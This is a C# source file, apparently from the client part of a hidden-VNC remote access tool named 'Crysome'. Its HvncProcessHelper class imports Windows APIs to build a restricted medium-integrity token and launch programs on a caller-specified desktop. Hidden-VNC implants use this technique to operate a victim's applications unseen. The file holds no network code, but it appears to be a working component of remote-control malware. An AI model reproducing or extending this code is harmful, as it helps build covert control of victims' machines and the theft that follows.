using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;

namespace Crysome.Client.Hvnc;

internal static class HvncProcessHelper
{
	private struct PROCESS_INFORMATION
	{
		public IntPtr hProcess;

		public IntPtr hThread;

		public int dwProcessId;

		public int dwThreadId;
	}

	[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
	private struct STARTUPINFO
	{
		public int cb;

		public string lpReserved;

		public string lpDesktop;

		public string lpTitle;

		public int dwX;

		public int dwY;

		public int dwXSize;

		public int dwYSize;

		public int dwXCountChars;

		public int dwYCountChars;

		public int dwFillAttribute;

		public int dwFlags;

		public short wShowWindow;

		public short cbReserved2;

		public IntPtr lpReserved2;

		public IntPtr hStdInput;

		public IntPtr hStdOutput;

		public IntPtr hStdError;
	}

	private struct SID_AND_ATTRIBUTES
	{
		public IntPtr Sid;

		public uint Attributes;
	}

	private struct TOKEN_MANDATORY_LABEL
	{
		public SID_AND_ATTRIBUTES Label;
	}

	private enum TOKEN_INFORMATION_CLASS
	{
		TokenIntegrityLevel = 25
	}

	public enum SaferLevel : uint
	{
		NormalUser = 0x20000u
	}

	public enum SaferScope : uint
	{
		User = 2u
	}

	[Flags]
	public enum SaferOpenFlags : uint
	{
		Open = 1u
	}

	private const uint SE_GROUP_INTEGRITY = 32u;

	public static bool RunAsRestrictedUser(string fileName, string desktopName)
	{
		if (string.IsNullOrWhiteSpace(fileName))
		{
			return false;
		}
		if (!GetRestrictedSessionUserToken(out var token))
		{
			return false;
		}
		try
		{
			STARTUPINFO lpStartupInfo = new STARTUPINFO
			{
				cb = Marshal.SizeOf(typeof(STARTUPINFO)),
				lpDesktop = desktopName
			};
			PROCESS_INFORMATION lpProcessInformation = default(PROCESS_INFORMATION);
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(fileName);
			return CreateProcessAsUser(token, null, stringBuilder, IntPtr.Zero, IntPtr.Zero, bInheritHandles: true, 0u, IntPtr.Zero, Path.GetDirectoryName(fileName), ref lpStartupInfo, out lpProcessInformation);
		}
		finally
		{
			CloseHandle(token);
		}
	}

	private static bool GetRestrictedSessionUserToken(out IntPtr token)
	{
		token = IntPtr.Zero;
		if (!SaferCreateLevel(SaferScope.User, SaferLevel.NormalUser, SaferOpenFlags.Open, out var pLevelHandle, IntPtr.Zero))
		{
			return false;
		}
		IntPtr OutAccessToken = IntPtr.Zero;
		TOKEN_MANDATORY_LABEL structure = new TOKEN_MANDATORY_LABEL
		{
			Label = 
			{
				Sid = IntPtr.Zero
			}
		};
		IntPtr intPtr = IntPtr.Zero;
		try
		{
			if (!SaferComputeTokenFromLevel(pLevelHandle, IntPtr.Zero, out OutAccessToken, 0, IntPtr.Zero))
			{
				return false;
			}
			structure.Label.Attributes = 32u;
			structure.Label.Sid = IntPtr.Zero;
			if (!ConvertStringSidToSid("S-1-16-8192", out structure.Label.Sid))
			{
				return false;
			}
			intPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL)));
			Marshal.StructureToPtr(structure, intPtr, fDeleteOld: false);
			if (!SetTokenInformation(OutAccessToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, intPtr, (uint)Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL))))
			{
				return false;
			}
			token = OutAccessToken;
			OutAccessToken = IntPtr.Zero;
		}
		finally
		{
			SaferCloseLevel(pLevelHandle);
			if (structure.Label.Sid != IntPtr.Zero)
			{
				LocalFree(structure.Label.Sid);
			}
			if (intPtr != IntPtr.Zero)
			{
				Marshal.FreeHGlobal(intPtr);
			}
			if (OutAccessToken != IntPtr.Zero)
			{
				CloseHandle(OutAccessToken);
			}
		}
		return true;
	}

	[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
	private static extern bool SaferCreateLevel(SaferScope scope, SaferLevel level, SaferOpenFlags openFlags, out IntPtr pLevelHandle, IntPtr lpReserved);

	[DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)]
	private static extern bool SaferComputeTokenFromLevel(IntPtr LevelHandle, IntPtr InAccessToken, out IntPtr OutAccessToken, int dwFlags, IntPtr lpReserved);

	[DllImport("advapi32", SetLastError = true)]
	private static extern bool SaferCloseLevel(IntPtr hLevelHandle);

	[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
	private static extern bool ConvertStringSidToSid(string StringSid, out IntPtr ptrSid);

	[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
	private static extern bool CloseHandle(IntPtr hObject);

	[DllImport("kernel32.dll", SetLastError = true)]
	private static extern IntPtr LocalFree(IntPtr hMem);

	[DllImport("advapi32.dll", SetLastError = true)]
	private static extern bool SetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength);

	[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
	private static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, StringBuilder lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
}
